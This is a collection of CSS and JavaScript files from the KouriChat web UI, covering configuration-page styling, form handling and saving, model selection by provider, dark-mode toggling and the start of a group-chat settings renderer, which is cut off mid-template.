ease; } .config-item:hover { background: rgba(255, 255, 255, 0.05); transform: translateY(-2px); box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); } /* 列表项样式 */ .list-group-item { border: none; margin-bottom: 8px; border-radius: 8px !important; transition: all 0.3s ease; } .list-group-item:hover { transform: translateX(5px); background: rgba(var(--bs-primary-rgb), 0.1); } /* 按钮样式 */ .btn { transition: all 0.3s ease; } .btn:hover { transform: translateY(-2px); } .btn-outline-primary:hover { transform: translateY(-2px); box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); } /* 滑块样式 */ .temperature-slider { -webkit-appearance: none; width: 100%; height: 8px; border-radius: 4px; background: linear-gradient(to right, rgb(13, 110, 253) 0%, rgb(13, 202, 240) 50%, rgb(253, 126, 20) 100%); outline: none; transition: opacity 0.2s; } .temperature-slider::-webkit-slider-thumb { width: 20px; height: 20px; border-radius: 50%; background: var(--card-bg); border: 2px solid rgb(13, 110, 253); cursor: pointer; box-shadow: 0 0 5px rgba(0, 0, 0, 0.2); transition: all 0.3s ease; } .temperature-slider::-webkit-slider-thumb:hover { transform: scale(1.1); } .temperature-value { transition: all 0.3s ease; } .temperature-value.updating { color: var(--primary-color); transform: scale(1.2); } .queue-timeout-slider { -webkit-appearance: none; width: 100%; height: 8px; border-radius: 4px; background: linear-gradient(to right, rgb(253, 20, 20) 0%, rgb(253, 126, 20) 40%, rgb(13, 202, 240) 60%, rgb(13, 110, 253) 100%); outline: none; transition: opacity 0.2s; } .queue-timeout-slider::-webkit-slider-thumb { width: 20px; height: 20px; border-radius: 50%; background: var(--card-bg); border: 2px solid rgb(13, 110, 253); cursor: pointer; box-shadow: 0 0 5px rgba(0, 0, 0, 0.2); transition: all 0.3s ease; } .queue-timeout-slider::-webkit-slider-thumb:hover { transform: scale(1.1); } /* 通知样式 */ .toast { border-radius: 0.75rem; border: 1px solid rgba(255, 255, 255, 0.1); transition: all 0.3s ease; transform: translateY(-20px); opacity: 0; } .toast.show { transform: translateY(0); opacity: 1; } .notification-container { z-index: 1050; } /* 响应式设计 */ @media (max-width: 767px) { .config-section { padding: 1rem; margin-bottom: 0; } .col-md-6 { margin-bottom: 2rem; } main.container-fluid { padding: 2rem 1rem; padding-bottom: 5rem; } } @media (min-width: 768px) { .col-md-6.pe-md-2 { padding-right: 1.5rem !important; } .col-md-6.ps-md-2 { padding-left: 1.5rem !important; } main.container-fluid { padding: 2rem; padding-bottom: 5rem; } } /* 日期选择按钮组响应式样式 */ .btn-group.flex-wrap { display: flex; flex-wrap: wrap; gap: 0.25rem; } .btn-group.flex-wrap .btn { flex: 1 1 calc(14.28% - 0.25rem); min-width: 40px; padding: 0.375rem 0.5rem; font-size: 0.875rem; text-align: center; } @media (max-width: 768px) { .btn-group.flex-wrap .btn { flex: 1 1 calc(33.33% - 0.25rem); min-width: 30px; padding: 0.25rem 0.375rem; font-size: 0.75rem; } } @media (max-width: 480px) { .btn-group.flex-wrap .btn { flex: 1 1 calc(50% - 0.25rem); min-width: 25px; padding: 0.25rem; font-size: 0.75rem; } } /* 特殊列表样式 */ #schedule-settings .list-group-item { background: rgba(30, 41, 59, 0.5); color: #fff; } #schedule-settings .list-group-item:hover { background: rgba(30, 41, 59, 0.8) !important; transform: translateX(5px); } #selected_users_LISTEN_LIST .list-group-item { background: var(--bs-list-group-bg); color: var(--bs-body-color); } [data-bs-theme="dark"] #selected_users_LISTEN_LIST .list-group-item { background: rgba(30, 41, 59, 0.5); color: #fff; } /* 输入框过渡效果 */ #customApiInput { transition: all 0.3s ease; } #customApiInput.show { transform: translateY(0); opacity: 1; } #customApiInput.hide { transform: translateY(-10px); opacity: 0; }
2302_81798979/KouriChat
src/webui/static/css/config-styles.css
CSS
unknown
8,211
/* 定时任务样式 */ .task-list-item { transition: all 0.3s ease; border-radius: 0.5rem; margin-bottom: 0.75rem; } .task-list-item:hover { transform: translateY(-2px); box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); } .task-badge { font-size: 0.8rem; padding: 0.35em 0.65em; } .task-controls { display: flex; gap: 0.5rem; } .task-controls .btn { padding: 0.25rem 0.5rem; font-size: 0.875rem; } .schedule-preview { background-color: rgba(var(--bs-primary-rgb), 0.05); border: 1px solid rgba(var(--bs-primary-rgb), 0.1); border-radius: 0.375rem; padding: 0.75rem; font-size: 0.9rem; } /* 日期选择按钮组样式 */ .weekday-selector { display: flex; flex-wrap: wrap; gap: 0.25rem; margin-top: 0.5rem; } .weekday-selector .btn { flex: 1 1 calc(14.28% - 0.25rem); min-width: 40px; padding: 0.375rem 0.5rem; font-size: 0.875rem; text-align: center; } /* 在小屏幕上调整按钮大小 */ @media (max-width: 768px) { .weekday-selector .btn { flex: 1 1 calc(33.33% - 0.25rem); min-width: 30px; padding: 0.25rem 0.375rem; font-size: 0.75rem; } } /* 在更小的屏幕上进一步调整 */ @media (max-width: 480px) { .weekday-selector .btn { flex: 1 1 calc(50% - 0.25rem); min-width: 25px; padding: 0.25rem; font-size: 0.75rem; } } /* 任务状态徽章 */ .task-status-badge { position: relative; padding-left: 1.5rem; } .task-status-badge::before { content: ''; position: absolute; left: 0.5rem; top: 50%; transform: translateY(-50%); width: 0.5rem; height: 0.5rem; border-radius: 50%; } .task-status-active::before { background-color: var(--bs-success); } .task-status-inactive::before { background-color: var(--bs-secondary); }
2302_81798979/KouriChat
src/webui/static/css/schedule-tasks.css
CSS
unknown
1,869
// 配置处理函数 console.log('配置处理函数模块加载'); // 初始化所有开关滑块 function initializeSwitches() { console.log('初始化开关滑块'); const switches = document.querySelectorAll('input[type="checkbox"][role="switch"]'); switches.forEach(switchElem => { const label = document.getElementById(switchElem.id + '_label'); if (label) { label.textContent = switchElem.checked ? '启用' : '停用'; console.log(`初始化开关 ${switchElem.id}: ${switchElem.checked ? '启用' : '停用'}`); } }); } // 显示保存通知 function showSaveNotification(message, type = 'success') { console.log('显示保存通知:', message, type); const notification = document.getElementById('saveNotification'); const messageElement = document.getElementById('saveNotificationMessage'); if (!notification || !messageElement) { console.error('通知元素未找到'); // 使用alert作为后备 alert(message); return; } // 移除现有的背景色类 notification.classList.remove('bg-success', 'bg-danger'); // 根据类型设置样式 if (type === 'success') { notification.classList.add('bg-success'); } else { notification.classList.add('bg-danger'); } messageElement.textContent = message; const toast = new bootstrap.Toast(notification, { animation: true, autohide: true, delay: 3000 }); toast.show(); } // 全局统一updateTemperature函数 - 处理所有温度滑块 function updateTemperature(key, value) { console.log('更新温度值:', key, value); // 将字符串转换为数字并保留一位小数 const numValue = parseFloat(value).toFixed(1); // 更新显示值 const displayElement = document.getElementById(key + '_display'); if (displayElement) { displayElement.classList.add('updating'); displayElement.textContent = numValue; setTimeout(() => { displayElement.classList.remove('updating'); }, 300); } // 更新隐藏的实际提交值 const inputElement = document.getElementById(key); if (inputElement) { inputElement.value = numValue; // 触发 change 事件以确保表单能捕获到值的变化 const event = new Event('change', { bubbles: true }); inputElement.dispatchEvent(event); } // 更新滑块位置(如果不是从滑块触发的事件) const sliderElement = document.getElementById(key + '_slider'); if (sliderElement && sliderElement.value !== numValue) { sliderElement.value = numValue; } // 视觉反馈 const container = inputElement?.closest('.mb-3') || displayElement?.closest('.mb-3'); if (container) { container.style.transition = 'background-color 0.3s'; container.style.backgroundColor = 'rgba(var(--bs-primary-rgb), 0.1)'; setTimeout(() => { container.style.backgroundColor = ''; }, 300); } } // 更新数值滑块的值 function updateRangeValue(key, value) { console.log('更新范围值:', key, value); const display = document.getElementById(`${key}_display`); const input = document.getElementById(key); if (display) { display.textContent = value; } if (input) { input.value = value; } } // 更新开关标签 function updateSwitchLabel(checkbox) { const label = document.getElementById(checkbox.id + '_label'); if (label) { label.textContent = checkbox.checked ? '启用' : '停用'; } console.log(`${checkbox.id} 状态已更新为: ${checkbox.checked}`); } // 添加新用户到监听列表 function addNewUser(key) { console.log('添加新用户到:', key); const inputElement = document.getElementById('input_' + key); const newValue = inputElement.value.trim(); if (newValue) { const targetElement = document.getElementById(key); const currentValues = targetElement.value ? targetElement.value.split(',') : []; if (!currentValues.includes(newValue)) { currentValues.push(newValue); targetElement.value = currentValues.join(','); // 添加到用户列表显示 const userListElement = document.getElementById('selected_users_' + key); const userDiv = document.createElement('div'); userDiv.className = 'list-group-item d-flex justify-content-between align-items-center'; userDiv.innerHTML = ` ${newValue} <button type="button" class="btn btn-danger btn-sm" onclick="removeUser('${key}', '${newValue}')"> <i class="bi bi-x-lg"></i> </button> `; userListElement.appendChild(userDiv); // 清空输入框 inputElement.value = ''; } } // 更新相关组件 if (typeof updateTaskChatIdOptions === 'function') { updateTaskChatIdOptions(); } if (key === 'LISTEN_LIST' && typeof updateGroupChatConfigSelects === 'function') { updateGroupChatConfigSelects(); } } // 从监听列表移除用户 function removeUser(key, userToRemove) { console.log('移除用户:', key, userToRemove); const targetElement = document.getElementById(key); const userListElement = document.getElementById('selected_users_' + key); // 更新隐藏的input值 let currentValues = targetElement.value ? targetElement.value.split(',') : []; currentValues = currentValues.filter(user => user !== userToRemove); targetElement.value = currentValues.join(','); // 从显示列表中移除 const userElements = userListElement.getElementsByClassName('list-group-item'); for (let element of userElements) { if (element.textContent.trim().replace('×', '').trim() === userToRemove) { element.remove(); break; } } // 更新相关组件 if (typeof updateTaskChatIdOptions === 'function') { updateTaskChatIdOptions(); } if (key === 'LISTEN_LIST' && typeof updateGroupChatConfigSelects === 'function') { updateGroupChatConfigSelects(); } } // 处理表单值 function processFormValue(config, key, value) { console.log('处理表单值:', key, value); // 处理列表类型 if (key === 'LISTEN_LIST') { config[key] = value; } // 处理数字类型 else if (['TEMPERATURE', 'VISION_TEMPERATURE', 'MAX_TOKEN', 'MIN_COUNTDOWN_HOURS', 'MAX_COUNTDOWN_HOURS', 'MAX_GROUPS', 'QUEUE_TIMEOUT'].includes(key)) { const numValue = parseFloat(value); if (!isNaN(numValue)) { config[key] = numValue; if (['MAX_TOKEN', 'MAX_GROUPS', 'QUEUE_TIMEOUT'].includes(key)) { config[key] = Math.round(numValue); } } else { config[key] = value; } } // 处理任务配置 else if (key === 'TASKS') { try { config[key] = JSON.parse(value); } catch (e) { console.error("解析任务数据失败:", e); config[key] = []; } } // 处理群聊配置 else if (key === 'GROUP_CHAT_CONFIG') { try { config[key] = JSON.parse(value); } catch (e) { console.error("解析群聊配置失败:", e); config[key] = []; } } // 处理布尔值 else if (key === 'NETWORK_SEARCH_ENABLED' || key === 'WEBLENS_ENABLED') { const checkbox = document.getElementById(key); if (checkbox && checkbox.type === 'checkbox') { config[key] = checkbox.checked; } else { if (typeof value === 'string') { config[key] = value.toLowerCase() === 'true'; } else { config[key] = Boolean(value); } } } else if (typeof value === 'string' && (value.toLowerCase() === 'true' || value.toLowerCase() === 'false')) { config[key] = value.toLowerCase() === 'true'; } // 其他类型直接保存 else { config[key] = value; } } // 更新所有配置项 function updateAllConfigs(configs) { console.log('更新所有配置项'); // 遍历所有配置组和配置项 for (const groupKey in configs) { const group = configs[groupKey]; for (const configKey in group) { const config = group[configKey]; const element = document.getElementById(configKey); if (element) { // 获取实际值 let value; if (config !== null && typeof config === 'object') { value = config.value !== undefined ? config.value : (config.default !== undefined ? config.default : null); } else { value = config; } console.log(`设置配置项 ${configKey} = ${JSON.stringify(value)}`); // 根据元素类型设置值 if (element.type === 'checkbox') { let isChecked = false; if (typeof value === 'boolean') { isChecked = value; } else if (typeof value === 'string') { isChecked = value.toLowerCase() === 'true'; } else { isChecked = Boolean(value); } element.checked = isChecked; // 如果是开关滑块,更新标签 const label = document.getElementById(element.id + '_label'); if (label) { label.textContent = element.checked ? '启用' : '停用'; console.log(`更新开关 ${element.id}: ${element.checked ? '启用' : '停用'}`); } } else if (element.tagName === 'SELECT') { if (value !== null && value !== undefined) { element.value = value; } } else { if (value !== null && value !== undefined) { // 检查 value 是否为对象 (数组的 typeof 也是 'object') if (typeof value === 'object') { // 如果是对象,必须字符串化 element.value = JSON.stringify(value); } else { // 如果是原始类型 (string, number),直接赋值 element.value = value; } } } // 特殊处理滑块 const slider = document.getElementById(`${configKey}_slider`); if (slider) { if (value !== null && value !== undefined) { slider.value = value; const display = document.getElementById(`${configKey}_display`); if (display) { display.textContent = typeof value === 'number' ? (configKey === 'TEMPERATURE' ? value.toFixed(1) : value) : value; } } } // 特殊处理用户列表 if (configKey === 'LISTEN_LIST') { let userList = []; if (Array.isArray(value)) { userList = value; } else if (typeof value === 'string') { userList = value.split(',').map(item => item.trim()).filter(item => item); } else if (value && typeof value === 'object' && value.value) { if (Array.isArray(value.value)) { userList = value.value; } else if (typeof value.value === 'string') { userList = value.value.split(',').map(item => item.trim()).filter(item => item); } } if (userList.length > 0) { const userListElement = document.getElementById(`selected_users_${configKey}`); if (userListElement) { userListElement.innerHTML = ''; userList.forEach(user => { if (user) { const userDiv = document.createElement('div'); userDiv.className = 'list-group-item d-flex justify-content-between align-items-center'; userDiv.innerHTML = ` ${user} <button type="button" class="btn btn-danger btn-sm" onclick="removeUser('${configKey}', '${user}')"> <i class="bi bi-x-lg"></i> </button> `; userListElement.appendChild(userDiv); } }); if (element) { element.value = userList.join(','); } } } } } } } } // 保存配置 function saveConfig(config) { console.log('保存配置:', config); // 如果没有传入配置,收集表单数据 if (!config) { config = {}; const mainForm = document.getElementById('configForm'); const otherForm = document.getElementById('otherConfigForm'); if (mainForm) { const formData = new FormData(mainForm); for (let [key, value] of formData.entries()) { processFormValue(config, key, value); } } if (otherForm) { const otherFormData = new FormData(otherForm); for (let [key, value] of otherFormData.entries()) { processFormValue(config, key, value); } } // 特别处理复选框 const checkboxes = document.querySelectorAll('input[type="checkbox"]'); checkboxes.forEach(checkbox => { const name = checkbox.name?.trim(); if (name && !config.hasOwnProperty(name)) { config[name] = checkbox.checked; } }); } // 数据格式检查 for (const key in config) { if (key === 'LISTEN_LIST' && typeof config[key] === 'string') { config[key] = config[key].split(',') .map(item => item.trim()) .filter(item => item); } else if (key === 'GROUP_CHAT_CONFIG') { if (typeof config[key] === 'string') { try { config[key] = JSON.parse(config[key]); } catch (e) { console.error('解析群聊配置失败:', e); config[key] = []; } } else if (!Array.isArray(config[key])) { config[key] = []; } } else if (['MAX_TOKEN', 'TEMPERATURE', 'VISION_TEMPERATURE', 'MIN_COUNTDOWN_HOURS', 'MAX_COUNTDOWN_HOURS', 'MAX_GROUPS', 'QUEUE_TIMEOUT'].includes(key)) { const numValue = parseFloat(config[key]); if (!isNaN(numValue)) { config[key] = numValue; if (['MAX_TOKEN', 'MAX_GROUPS', 'QUEUE_TIMEOUT'].includes(key)) { config[key] = Math.round(numValue); } } } else if (key === 'NETWORK_SEARCH_ENABLED' || key === 'WEBLENS_ENABLED') { const checkbox = document.getElementById(key); if (checkbox && checkbox.type === 'checkbox') { config[key] = checkbox.checked; } else { if (typeof config[key] === 'string') { config[key] = config[key].toLowerCase() === 'true'; } else { config[key] = Boolean(config[key]); } } } } // 确保API相关配置被正确保存 const baseUrlInput = document.getElementById('DEEPSEEK_BASE_URL'); const modelInput = document.getElementById('MODEL'); const apiKeyInput = document.getElementById('DEEPSEEK_API_KEY'); if (baseUrlInput) config['DEEPSEEK_BASE_URL'] = baseUrlInput.value; if (modelInput) config['MODEL'] = modelInput.value; if (apiKeyInput) config['DEEPSEEK_API_KEY'] = apiKeyInput.value; // 确保图像识别API相关配置被正确保存 const visionBaseUrlInput = document.getElementById('VISION_BASE_URL'); const visionModelInput = document.getElementById('VISION_MODEL'); const visionApiKeyInput = document.getElementById('VISION_API_KEY'); if (visionBaseUrlInput) config['VISION_BASE_URL'] = visionBaseUrlInput.value; if (visionModelInput) config['VISION_MODEL'] = visionModelInput.value; if (visionApiKeyInput) config['VISION_API_KEY'] = visionApiKeyInput.value; console.log("发送配置数据:", config); // 发送保存请求 fetch('/save', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' }, body: JSON.stringify(config) }) .then(response => { if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } return response.json(); }) .then(data => { if (data.status === 'success') { showSaveNotification(data.message); console.log('配置保存成功'); } else { showSaveNotification(data.message, 'error'); } }) .catch(error => { console.error('保存配置失败:', error); showSaveNotification('保存配置失败: ' + error.message, 'error'); }); } // 暴露全局函数 window.initializeSwitches = initializeSwitches; window.showSaveNotification = showSaveNotification; window.updateTemperature = updateTemperature; window.updateRangeValue = updateRangeValue; window.updateSwitchLabel = updateSwitchLabel; window.addNewUser = addNewUser; window.removeUser = removeUser; window.processFormValue = processFormValue; window.updateAllConfigs = updateAllConfigs; window.saveConfig = saveConfig; console.log('配置处理函数模块加载完成');
2302_81798979/KouriChat
src/webui/static/js/config-handlers.js
JavaScript
unknown
18,939
// 配置页面主要逻辑 console.log('config-main.js 开始加载'); // 页面初始化 function initializeConfigPage() { console.log('初始化配置页面'); // 初始化所有开关滑块 if (typeof initializeSwitches === 'function') { initializeSwitches(); } // 获取最新的配置数据 fetch('/get_all_configs') .then(response => response.json()) .then(data => { if (data.status === 'success') { console.log("成功获取配置数据"); // 更新所有配置项 if (typeof updateAllConfigs === 'function') { updateAllConfigs(data.configs); } // 更新任务列表 const tasksInput = document.getElementById('TASKS'); if (tasksInput && data.tasks) { tasksInput.value = JSON.stringify(data.tasks); if (typeof updateTaskList === 'function') { updateTaskList(); } } // 重新初始化开关滑块 if (typeof initializeSwitches === 'function') { initializeSwitches(); } } else { console.error('获取配置数据失败:', data.message); fallbackToLocalConfig(); } }) .catch(error => { console.error('获取配置数据请求失败:', error); fallbackToLocalConfig(); }); // 初始化背景 fetch('/get_background') .then(response => response.json()) .then(data => { if (data.status === 'success' && data.path) { document.body.style.backgroundImage = `url('${data.path}')`; } }) .catch(error => console.error('Error:', error)); } // 回退到本地配置 function fallbackToLocalConfig() { console.log("使用页面初始配置数据"); const tasksInput = document.getElementById('TASKS'); if (tasksInput && typeof updateTaskList === 'function') { updateTaskList(); } } // 初始化工具提示 function initializeTooltips() { var tooltipTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="tooltip"]')); var tooltipList = tooltipTriggerList.map(function (tooltipTriggerEl) { return new bootstrap.Tooltip(tooltipTriggerEl); }); } // 全局模型选择更新函数 window.updateModelSelect = function(providerId) { console.log('全局 updateModelSelect 被调用,参数:', providerId); const modelSelect = document.getElementById('model_select'); const modelInput = document.getElementById('MODEL'); const customModelInput = document.getElementById('customModelInput'); if (!modelSelect) { console.error("模型选择器未找到!"); return; } // 保存当前模型值,确保后续操作不会丢失 const currentModelValue = modelInput ? modelInput.value : ''; console.log("当前模型值:", currentModelValue); // 根据提供商重置选择框内容 modelSelect.innerHTML = ''; // 使用模型配置管理器获取模型选项 if (typeof window.fetchModelConfigs === 'function') { window.fetchModelConfigs().then(configs => { if (configs && configs.models && configs.models[providerId]) { console.log(`为提供商 ${providerId} 加载 ${configs.models[providerId].length} 个模型`); configs.models[providerId].forEach(model => { const option = document.createElement('option'); option.value = model.id; option.textContent = model.name || model.id; modelSelect.appendChild(option); }); } else { // 使用默认模型选项作为回退 addDefaultModelOptions(providerId, modelSelect); } // 添加自定义选项 modelSelect.innerHTML += '<option value="custom">自定义模型</option>'; // 恢复选择状态 restoreModelSelection(modelSelect, modelInput, customModelInput, currentModelValue, providerId); }).catch(error => { console.error('获取模型配置失败:', error); // 使用默认模型选项作为回退 addDefaultModelOptions(providerId, modelSelect); modelSelect.innerHTML += '<option value="custom">自定义模型</option>'; restoreModelSelection(modelSelect, modelInput, customModelInput, currentModelValue, providerId); }); } else { // 如果没有配置管理器,使用默认选项 addDefaultModelOptions(providerId, modelSelect); modelSelect.innerHTML += '<option value="custom">自定义模型</option>'; restoreModelSelection(modelSelect, modelInput, customModelInput, currentModelValue, providerId); } }; // 添加默认模型选项 function addDefaultModelOptions(providerId, modelSelect) { if (providerId === 'kourichat-global') { console.log("设置KouriChat模型选项"); modelSelect.innerHTML = ` <option value="kourichat-v3">kourichat-v3</option> <option value="gemini-2.5-pro">gemini-2.5-pro</option> <option value="gemini-2.5-flash">gemini-2.5-flash</option> <option value="gpt-4o">gpt-4o</option> <option value="grok-3">grok-3</option> `; } else if (providerId === 'siliconflow') { console.log("设置硅基流动模型选项"); modelSelect.innerHTML = ` <option value="deepseek-ai/DeepSeek-V3">deepseek-ai/DeepSeek-V3</option> <option value="deepseek-ai/DeepSeek-R1">deepseek-ai/DeepSeek-R1</option> `; } else if (providerId === 'deepseek') { console.log("设置DeepSeek模型选项"); modelSelect.innerHTML = ` <option value="deepseek-chat">deepseek-chat</option> <option value="deepseek-reasoner">deepseek-reasoner</option> `; } } // 恢复模型选择状态 function restoreModelSelection(modelSelect, modelInput, customModelInput, currentModelValue, providerId) { const availableOptions = Array.from(modelSelect.options).map(opt => opt.value); console.log("可用模型选项:", availableOptions); // 处理不同情况 if (providerId === 'ollama' || providerId === 'custom') { // 1. 如果是自定义或Ollama提供商 console.log("处理自定义/Ollama提供商"); modelSelect.value = 'custom'; if (customModelInput) { customModelInput.style.display = 'block'; const inputField = customModelInput.querySelector('input'); // 保留已有的值 if (inputField && currentModelValue) { inputField.value = currentModelValue; // 确保隐藏字段也有值 if (modelInput && !modelInput.value) { modelInput.value = currentModelValue; } } } } else if (currentModelValue) { // 2. 有现有值的情况 console.log("检查当前值是否在选项中:", currentModelValue); // 检查当前值是否在选项列表中 const valueInOptions = availableOptions.includes(currentModelValue); if (valueInOptions) { // 2.1 当前值在选项中 console.log("当前值在选项中,选择:", currentModelValue); modelSelect.value = currentModelValue; // 确保自定义输入框隐藏 if (customModelInput) { customModelInput.style.display = 'none'; } } else { // 2.2 当前值不在选项中,视为自定义模型 console.log("当前值不在选项中,设为自定义模型:", currentModelValue); modelSelect.value = 'custom'; // 显示并填充自定义输入框 if (customModelInput) { customModelInput.style.display = 'block'; const inputField = customModelInput.querySelector('input'); if (inputField) { inputField.value = currentModelValue; } } } } else { // 3. 无现有值,选择第一个选项 console.log("无现有值,选择第一个选项"); if (modelSelect.options.length > 0) { modelSelect.selectedIndex = 0; // 更新隐藏字段的值 if (modelInput && modelSelect.value !== 'custom') { modelInput.value = modelSelect.value; } // 隐藏自定义输入框 if (customModelInput && modelSelect.value !== 'custom') { customModelInput.style.display = 'none'; } } } // 确保隐藏的MODEL字段有值 if (modelInput && !modelInput.value && modelSelect.value !== 'custom') { modelInput.value = modelSelect.value; } // 如果选择了自定义模型但没有输入值,确保输入框可见 if (modelSelect.value === 'custom' && customModelInput) { customModelInput.style.display = 'block'; } } // 页面加载时初始化 document.addEventListener('DOMContentLoaded', function() { console.log('配置页面DOM加载完成,开始初始化'); // 初始化工具提示 initializeTooltips(); // 初始化配置页面 initializeConfigPage(); // 初始化所有温度滑块 const temperatureSliders = document.querySelectorAll('[id$="_slider"].temperature-slider'); temperatureSliders.forEach(slider => { const key = slider.id.replace('_slider', ''); if (typeof updateTemperature === 'function') { updateTemperature(key, slider.value); } }); // 添加保存按钮事件监听器 const saveButton = document.getElementById('saveButton'); if (saveButton) { saveButton.addEventListener('click', function() { console.log('保存按钮被点击'); if (typeof saveConfig === 'function') { saveConfig(); } else { console.error('saveConfig函数未定义'); } }); } // 添加导出按钮事件监听器 const exportButton = document.getElementById('exportConfigBtn'); if (exportButton) { exportButton.addEventListener('click', function() { console.log('导出按钮被点击'); if (typeof exportConfig === 'function') { exportConfig(); } else { console.error('exportConfig函数未定义'); } }); } // 添加导入按钮事件监听器 const importButton = document.getElementById('importConfigBtn'); if (importButton) { importButton.addEventListener('click', function() { console.log('导入按钮被点击'); if (typeof importConfig === 'function') { importConfig(); } else { console.error('importConfig函数未定义'); } }); } }); console.log('config-main.js 加载完成');
2302_81798979/KouriChat
src/webui/static/js/config-main.js
JavaScript
unknown
11,513
// 配置工具函数 console.log('config-utils.js 已加载'); // 更新数值滑块的值 function updateRangeValue(key, value) { const display = document.getElementById(`${key}_display`); const input = document.getElementById(key); if (display) { display.textContent = value; } if (input) { input.value = value; } } // 全局统一updateTemperature函数 - 处理所有温度滑块 function updateTemperature(key, value) { // 将字符串转换为数字并保留一位小数 const numValue = parseFloat(value).toFixed(1); // 更新显示值 const displayElement = document.getElementById(key + '_display'); if (displayElement) { displayElement.classList.add('updating'); displayElement.textContent = numValue; setTimeout(() => { displayElement.classList.remove('updating'); }, 300); } // 更新隐藏的实际提交值 const inputElement = document.getElementById(key); if (inputElement) { inputElement.value = numValue; // 触发 change 事件以确保表单能捕获到值的变化 const event = new Event('change', { bubbles: true }); inputElement.dispatchEvent(event); } // 更新滑块位置(如果不是从滑块触发的事件) const sliderElement = document.getElementById(key + '_slider'); if (sliderElement && sliderElement.value !== numValue) { sliderElement.value = numValue; } // 视觉反馈 const container = inputElement?.closest('.mb-3') || displayElement?.closest('.mb-3'); if (container) { container.style.transition = 'background-color 0.3s'; container.style.backgroundColor = 'rgba(var(--bs-primary-rgb), 0.1)'; setTimeout(() => { container.style.backgroundColor = ''; }, 300); } } // 显示保存通知 function showSaveNotification(message, type = 'success') { const notification = document.getElementById('saveNotification'); const messageElement = document.getElementById('saveNotificationMessage'); // 移除现有的背景色类 notification.classList.remove('bg-success', 'bg-danger'); // 根据类型设置样式 if (type === 'success') { notification.classList.add('bg-success'); } else { notification.classList.add('bg-danger'); } messageElement.textContent = message; const toast = new bootstrap.Toast(notification, { animation: true, autohide: true, delay: 3000 }); toast.show(); } // 初始化所有开关滑块 function initializeSwitches() { // 获取所有开关滑块 const switches = document.querySelectorAll('input[type="checkbox"][role="switch"]'); switches.forEach(switchElem => { // 获取对应的标签 const label = document.getElementById(switchElem.id + '_label'); if (label) { // 更新标签文本 label.textContent = switchElem.checked ? '启用' : '停用'; console.log(`初始化开关 ${switchElem.id}: ${switchElem.checked ? '启用' : '停用'}`); } }); } // 更新开关标签 function updateSwitchLabel(checkbox) { const label = document.getElementById(checkbox.id + '_label'); if (label) { label.textContent = checkbox.checked ? '启用' : '停用'; } // 在控制台输出当前状态,便于调试 console.log(`${checkbox.id} 状态已更新为: ${checkbox.checked}`); }
2302_81798979/KouriChat
src/webui/static/js/config-utils.js
JavaScript
unknown
3,494
// 护眼模式管理 class DarkModeManager { constructor() { // 确保只创建一个实例 if (DarkModeManager.instance) { return DarkModeManager.instance; } DarkModeManager.instance = this; // 等待 DOM 加载完成 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', () => this.init()); } else { this.init(); } } init() { // 立即应用存储的状态 this.applyStoredState(); // 使用事件委托监听切换 document.addEventListener('change', (e) => { const toggle = e.target.closest('[data-dark-toggle]'); if (toggle) { this.toggle(toggle.checked); e.preventDefault(); } }); // 监听系统主题变化 window.matchMedia('(prefers-color-scheme: dark)').addListener((e) => { this.toggle(e.matches); }); } applyStoredState() { const darkMode = localStorage.getItem('darkMode') === 'true'; this.setDarkMode(darkMode); } setDarkMode(isDark) { const theme = isDark ? 'dark' : 'light'; document.documentElement.setAttribute('data-bs-theme', theme); document.body.setAttribute('data-bs-theme', theme); localStorage.setItem('darkMode', isDark); this.syncToggleState(isDark); } toggle(forcedState = null) { const currentState = document.documentElement.getAttribute('data-bs-theme') === 'dark'; const newState = forcedState !== null ? forcedState : !currentState; this.setDarkMode(newState); } syncToggleState(isDark) { document.querySelectorAll('[data-dark-toggle]').forEach(toggle => { if (toggle.type === 'checkbox') { toggle.checked = isDark; } }); } } // 立即创建实例 const darkMode = new DarkModeManager(); // 导出实例供其他模块使用 window.darkMode = darkMode;
2302_81798979/KouriChat
src/webui/static/js/dark-mode.js
JavaScript
unknown
2,067
// 群聊配置相关功能 window.groupChatConfigs = []; let groupChatConfigIndex = 0; // 初始化群聊配置 window.initGroupChatConfig = function initGroupChatConfig() { const configInput = document.getElementById('GROUP_CHAT_CONFIG'); if (configInput && configInput.value) { try { window.groupChatConfigs = JSON.parse(configInput.value); } catch (e) { console.error('解析群聊配置失败:', e); window.groupChatConfigs = []; } } renderGroupChatConfigList(); updateAddGroupChatButton(); } // 添加新的群聊配置 function addGroupChatConfig() { // 检查群聊配置数量限制 if (window.groupChatConfigs.length >= 1) { alert('当前版本仅支持一个群聊配置,多个群聊会导致记忆混乱。\n\n支持私聊和群聊同步进行,但群聊配置限制为1个。'); return; } const newConfig = { id: 'group_' + Date.now(), groupName: '', avatar: '', triggers: [], enableAtTrigger: true // 默认启用@触发 }; window.groupChatConfigs.push(newConfig); updateGroupChatConfigData(); renderGroupChatConfigList(); updateAddGroupChatButton(); } // 渲染群聊配置列表 window.renderGroupChatConfigList = function renderGroupChatConfigList() { const container = document.getElementById('groupChatConfigList'); if (!container) return; if (window.groupChatConfigs.length === 0) { container.innerHTML = ` <div class="text-center text-muted p-4 border rounded"> <i class="bi bi-chat-dots fs-2"></i> <p class="mt-2 mb-0">暂无群聊配置</p> <small>点击上方"添加群聊配置"按钮开始设置</small> <small class="text-warning d-block mt-2"> <i class="bi bi-info-circle me-1"></i> 支持私聊和群聊同步进行,当前版本限制群聊配置为1个 </small> </div> `; updateAddGroupChatButton(); return; } container.innerHTML = window.groupChatConfigs.map((config, index) => ` <div class="config-item mb-3 p-3 border rounded" data-config-id="${config.id}"> <div class="d-flex justify-content-between align-items-center mb-3"> <h6 class="mb-0"> <i class="bi bi-chat-square-text me-2"></i> 群聊配置 ${index + 1} </h6> <button type="button" class="btn btn-outline-danger btn-sm" onclick="removeGroupChatConfig('${config.id}')" title="删除此群聊配置"> <i class="bi bi-trash"></i> </button> </div> <div class="row"> <!-- 群聊名称 --> <div class="col-md-6 mb-3"> <label class="form-label"> <i class="bi bi-people me-1"></i>群聊名称 <span class="text-danger">*</span> </label> <select class="form-select" onchange="updateGroupChatConfigField('${config.id}', 'groupName', this.value)"> <option value="">请选择群聊名称</option> ${getUserListOptions(config.groupName)} </select> </div> <!-- 使用的人设 --> <div class="col-md-6 